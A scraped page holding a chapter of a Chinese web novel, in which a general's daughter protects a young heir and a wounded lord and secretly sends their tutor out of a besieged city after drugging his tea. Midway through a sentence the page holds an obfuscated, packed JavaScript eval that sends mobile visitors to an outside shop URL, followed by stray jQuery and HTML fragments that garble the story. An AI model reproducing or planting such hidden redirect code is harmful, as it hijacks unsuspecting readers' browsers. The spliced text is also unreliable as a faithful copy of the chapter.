文趣网 > 都市小说 > 春灯迟 > 43. 第四十二章 先生出城
    三日后,眉州城的风更大了。天色阴沉,云层低低地压在城头上,像一张灰白的网,正从远处不动声色地罩下来。

    午后一名姜衡旧部悄悄进了将军府。

    那人从前跟着姜衡守过北门,左耳被箭削去半截,平日里沉默寡言,若非有要紧事,绝不会亲自登门。

    他进来时,身上还带着城墙上的风沙。行过礼后,也没有寒暄,只从怀中取出一张眉州城防图铺在案上。

    图纸展开的那一刻,姜执素便知道,事情比她想到的还要坏。

    他指着图上几处新用朱砂圈出的地方,小声道:“巡边使前日又调了驻军,将北城守将换成了他们的人。”

    他说着,手指又移到城门外:“城门外的哨卡,也已经归他们的人管了。从今日起,出入城的商队都要验两遍路引。”

    姜执素垂眼看着那张图,朱砂圈出来的地方,一处一处,像一颗颗已经落下的棋子。

    这张网已经织得差不多了,而接下来等待他们的,定会是风雨满城。

    “将军临走前,让我有事便来找小姐。”那老将压低声音,“巡边使这几日一直在查府里留下了多少人。小姐要早作打算。”

    “我知道了。”姜执素将城防图折好,交还给他,“今日的事,不要再同旁人提。”

    老将应了一声,起身告辞。

    送走他之后,姜执素独自在偏厅里坐了一会儿,她忽然明白,巡边使要的从来不只是账册。

    账册是死物,人却是活的。只要人还在,总有法子撬开口,总有法子牵出线,总有法子从这座府邸里找出他们想要的罪名。

    她起身去了西院,晏珣正在窗下写字,小小的脊背挺得笔直,一笔一画写得很是认真。韩齐守在门外,见她过来,立刻低头行礼。

    姜执素没有进去,只站在窗外看了一会儿。

    晏珣似有所觉,抬头看见来人是她,眼睛顿时亮了。他张了张嘴,瞧见她身后的亲兵,又把那声“姜姐姐”咽了回去,规规矩矩地坐好。

    姜执素朝他挑了挑眉,晏珣便偷偷笑了一下,又低头继续写字。

    她转身离开时,吩咐韩齐:“从今日起,你夜里睡外间。世子的饭食送来以后,先让紫罗验一遍,再由你亲自验过。西院后墙那条小路重新清出来,马厩里备一匹温顺些的矮马。若府里真出了事,什么都不必管,先带世子走。”

    韩齐看了她一眼:“姜小姐呢?”

    “我自有安排。”

    “可将军临走时交代……”

    “他交代你护好世子殿下。”姜执素打断他,“记住了吗?”

    韩齐沉默片刻,低头抱拳:“记住了。”

    这就是了,哪怕将军府真的守不住,哪怕眉州城真的被人一寸一寸换了防,哪怕到了最后关头,她也要守住晏珣。

    这是她的责任,不是可以商量的事。

    从西院出来,她又去了偏院。

    贺连城正端着药碗同紫罗讲道理。只见他脸皱得像被人塞了一整筐苦瓜,见姜执素进来,立刻像看见救星似的抬头:“执素,你来得正好,你告诉她,我这伤已经好了七八成,少喝一碗药也不碍事……”

    紫罗面无表情:“贺世子昨日也是这么说的。”

    贺连城立刻改口:“昨日是昨日,今日是今日。”

    姜执素走过去,接过药碗,直接递到他嘴边:“喝。”

    贺连城:“……”

    贺连城看看她,又看看那碗药,到底还是认命地接过去,然后一饮而尽。

    喝完之后,正要说两句贫话,忽然瞧见姜执素神色不对,便问道:“怎么了?”

    “没怎么。”

    姜执素在榻边坐下,替他把松开的绷带重新系好:“偏院外头,我添了两班亲兵。药房后门落了锁,你不要再想着从那边翻出去。还有墙边那架旧梯子,我已经让人劈了。”

    姜执素抬眼看他:“你伤没好,哪儿也不许去。”

    贺连城看着她,忽然笑了笑,罕见地没再同她拌嘴,只是低声道:“我知道了。”

    姜执素反而被他这句话弄得分了分神,他是忠勇侯府世子,是林逋和皇帝扣在贺家头上的那桩案子里最显眼的人。京中的刀已经落下来一半,剩下的那一半迟早要找上他。

    他若走,便是逃。他若不走,便是靶子。可无论哪一种,他都已经在局中,她能做的,就是尽可能地护住他。

    姜执素替他掖好被角,起身往外走,走到门边时,贺连城在身后叫住她:“执素。”

    她回过头。

    “真出了事,也别只顾着我们。”他说,“先保住你自己。”

    姜执素看了他一眼,没有答话,只替他关上了门。

    姜执素从偏院出来时,暮色正一点一点沉下来。

    她站在月门边,没有立刻离开。

    晏珣,贺连城,府中那些跟着父亲出生入死的老兵,还有她自己,他们都不能退。

    可陆时宜呢?

    她抬头看向学堂的方向,陆时宜不一样。至少在她心里,他不该一样。

    他不是姜家人,不是边军旧部,也不是王府心腹。他只是被父亲一封信请来的先生,来教晏珣读书,也教她写那些永远改不完的策论。

    他本该来去自由。

    可姜执素越想,脸色越沉,因为她很快意识到,巡边使未必不会动他,甚至他可能会比旁人更危险。

    带走一个重伤未愈的贺连城,京中未必会有太大动静。带走一个康王世子,又未免太露锋芒。

    可若带走陆时宜呢?太和二年的状元郎,金陵书院前任掌院,门生遍布数州,辞官多年却仍在士林中享有清名。

    他当年辞官,是不愿在朝堂纷争中站队,可巡边使只需要一句“以讲学之名结交士人,私通边将”,就能把他的清白说成盘算,把他的避世说成待价而沽。

    再往下查,金陵书院的门生,陆家旧年的交情,他游学数年见过的人,都能被一条一条牵扯出来。

    她不能让他走到那一步,他不应该在棋局里。

    她见过陆时宜在金陵书院批功课的样子。冬日的书斋阴冷,他总是坐在窗下,袖口挽起一折,一本一本替学生改文章。窗外的梅花开了,他也很少抬头,只把案上的茶盏往手边挪一挪,继续批下一页。

    他应该在那种有书,有灯,有风穿过花树的地方,过着日复一日,清净而又明亮的日子。

    而不是留在这风雨飘摇的眉州,替她守着一盏随时会被风吹灭的灯。

    姜执素回到偏厅,将那张城防图重新摊开,盯着几处城门看了许久。

    紫罗进来添茶,见她一直不说话,小心问道:“小姐,怎么了?”

    姜执素抬起眼,沉声吩咐道:“去备车。”

    紫罗怔了一下,问道:“备车?”

    姜执素没有看她,只道:“苏家今晚有一支药材车队出城,让管事留一辆青帷车,再备好路引和商队文牒。”

    紫罗听懂了,她问道:“要送谁走?”

    姜执素沉默片刻:“陆先生。”

    紫

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17826912|204538||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    罗脸色变了变:“小姐您又不是不知道陆先生那个性子,如今这情形,他未必肯走。”

    姜执素垂下眼,看着案角那盏已经凉透的茶:“所以不能让他知道。”

    半个时辰后,紫罗端着一盏雨前龙井去了学堂。姜执素吩咐她往茶里添了一点安神药,不会伤身,只会让人睡上几个时辰。等陆时宜醒来,车队应该已经出了眉州。

    书房里,陆时宜正在批晏珣的功课,他的侧影在灯下显得清瘦而安静。

    陆时宜正斟酌措辞,想着该如何提点,才不会挫伤这孩子近来的用功,又能让他记住。

    紫罗将茶放在案边:“先生,小姐让奴婢送来的,说今日风大,请先生喝些热茶。”

    陆时宜停笔,然后抬眼看了紫罗一眼。那一眼温和如常,却让紫罗险些低下头去。

    陆时宜不疑有他,只道:“有劳。”

    他端起茶,喝了一口,又低头看起案上的文章。

    紫罗看着那盏茶渐渐少下去,手心里全是汗,来之前小姐也没告诉她人在做坏事的时候可以这么心虚啊。

    陆时宜批完一页,又翻到下一页,在晏珣写错的一个字旁点了一笔。笔尖先是停了片刻,随后微微顿住。

    陆时宜慢慢放下笔,像是觉得有些疲倦,抬手按了按眉心,过了一会儿,困意越来越重,连案上的字也有些看不清了。

    陆时宜似乎察觉了什么,低头看了一眼那盏茶。

    紫罗站在案前,眼眶终于红了:“先生……”

    陆时宜还没来得及说话,手中的书页便滑落在案上,他的手还搭在书页边缘,指节清瘦,青色的血管在昏黄的光线下隐约可见。

    紫罗不敢再看,转身出了门。

    何与一直候在廊下,面上神色不明,像是站在这里站了很久,又像是已经在心里挣扎了千百遍。

    紫罗将早已备好的路引和商队文牒塞进他手中,声音只有他们二人可以听到:“青帷车停在侧门外,书箱已经送上去了。趁城门还没落锁,立刻随苏家的车队出城。”

    何与握着那几张文牒,他没有说话,紫罗也没有开口,两个人在廊下对站了半晌,谁都没有看谁。

    最后,何与回头看了一眼书房,终于收起文牒,进去扶陆时宜。

    姜执素站前院的廊下,姜执素站在前院廊下,听见侧门那边的动静。不多时,车轮碾过门外的石板,渐渐远去。

    此时天还没有全黑,是眉州一日里最乱的时候。采买的车,送药的车,归家的商贩,巡夜换防的兵马,都挤在暮色将沉的这一段时辰里。

    苏家的药材车队有出城文牒,只要赶在落锁前通过城门,便能连夜离开眉州。

    姜执素握紧袖口,强迫自己没有回头。

    她忽然想起许多年前在金陵,那时她年纪还小,功课写得一塌糊涂,趴在桌上装死。陆时宜站在案前,拿书卷轻轻敲了敲她的桌角,说:“姜执素,起来。”

    她趴着不动,他也不催她,只在旁边坐下,替她把洇了墨的纸换掉,重新铺上一张新纸,连笔都替她重新蘸好了墨。

    窗外梅花开得正好,她从纸缝里偷偷看他,只看见他修长的手指和一截月白色的袖口。

    她当时只觉得,陆时宜这个人真是很烦,怎么会有人这样有耐心。

    “小姐。”紫罗的声音从身后传来。

    姜执素回过神:“走了吗?”

    “已经跟着苏家的车队走了。”

    “嗯。”她低下头,这才发现自己的手一直按在腰间的匕首上。